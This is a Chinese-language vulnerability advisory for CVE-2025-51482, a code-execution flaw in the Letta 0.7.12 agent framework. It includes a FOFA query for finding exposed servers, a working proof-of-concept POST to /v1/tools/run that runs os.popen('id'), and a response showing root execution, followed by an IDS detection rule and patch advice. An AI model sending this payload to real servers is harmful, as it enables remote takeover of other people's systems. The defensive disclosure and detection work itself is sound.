

Letta-CVE-2025-51482-代码执行

Letta-CVE-2025-51482-代码执行，攻击者可执行任意命令导致服务器被控。

影响版本

Letta 0.7.12

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：title="Letta" || body="Letta Platform" || header="X-Letta-Version"

POC/EXP：

```
POST /v1/tools/run HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json

{
  "source_code": "def test():\n    \"\"\"Test rce.\"\"\"\n    import os\n    return os.popen('id').read()",
  "args": {},
  "env_vars": { "PYTHONPATH": "/usr/lib/python3/dist-packages" },
  "name": "test"
}
```

Request

< > 数据类型选择 美化 原始数据 收藏请求

1 POST /v1/tools/run HTTP/1.1

2 Host: 127.0.0.1

3 Content-Type: application/json

4

5 {

6 "source_code": "def test():\n \"\"\"Test rce.\"\"\"\n import os\n return os.popen('id').read()",

7 "args": {},

8 "env_vars": { "PYTHONPATH": "/usr/lib/python3/dist-packages" },

9 "name": "test"

10 }

11

207bytes / 1192ms

美化 编辑 请输入定位地址

1 HTTP/1.1 200 OK

2 Server: nginx/1.18.0 (Ubuntu)

3 Date: Thu, 24 Jul 2025 01:11:28 GMT

4 Content-Type: application/json

5 Connection: keep-alive

6 Content-Length: 287

7

8 {"id": "null", "date": "2025-07-24T01:12:26+08:00", "message_type": "tool_return_message", "tool_return": "uid=0\n(root) gid=0(root) groups=0(root)\n", "status": "success", "tool_call_id": "null", "stdout": [], "stderr": []}

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
```

```
msg:"Letta AI - Python RCE via /v1/tools/run (CVE-2025-51482)";
flow:to_server,established;
content:"POST"; http_method;
content:"/v1/tools/run"; http_uri;
content:"Content-Type: application/json"; http_header;
pcre:"/\"source_code\"\\s*:\\s*\"[\\\"]*import\\s+os[\\\"]*os\\.popen\\([\\\"]*\\)/i";
metadata:cve CVE-2025-51482;
metadata:affected_product "Letta AI Agent Framework";
metadata:vulnerability_type "Python Code Injection";
classtype:web-application-attack;
sid:1000373;
rev:1;
priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。